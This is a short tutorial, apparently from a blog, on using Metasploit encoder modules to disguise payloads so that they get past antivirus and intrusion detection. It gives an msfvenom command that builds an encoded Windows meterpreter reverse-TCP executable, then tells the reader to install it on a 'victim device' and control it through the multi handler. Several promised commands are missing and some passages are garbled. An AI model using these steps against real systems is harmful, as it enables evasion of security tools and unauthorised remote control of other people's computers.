The encoder modules are designed to re-encode payloads and exploits to enable them to get past security defense systems such as AV and IDS’s.
The encoders are subdivided by type of CPU such as x64, x86, Sparc, PPC, and MIPS and also by type of code such a cmd and PHP. Obviously, we need to use the appropriate encoder based upon the target system
What is the Encoder module?
Encoding of shellcode is critical continuously exploitation because, when you make a shellcode that shellcode may hold some bad characters, null bytes. either the transmission protocol or the end application might be touchy to “bad characters” which can break your shellcode up in different ways. bad characters can, for the most part, be killed by encoding the payload.
In the event that you are utilizing shell code introduce within the Metasploit framework, don’t then don’t need to focus on shellcode encoding. Metasploit of course encodes the shellcode when you are utilizing it as a part of the misuse.
How to use the encoder modules in Metasploit?
First, we need to open our Metasploit so type the below command on our terminal.
Now find encoder modules on your Metasploit so type the below command on your metasploit terminal.
Now you need to choose which encoder you want. After that create a payload with an encoder for example see the below command
I choose cmd/powershell_base64 encoder.
msfvenom -p windows/meterpreter/reverse_tcp -e cmd/powershell_base64 -i 3 -f exe LHOST=(IP address) LPORT=4444 -o payload.exe
Once you create an encoder payload then you can install that payload into your victim Device.
After installing the payload you can use Metasploit multi handler to control that payload.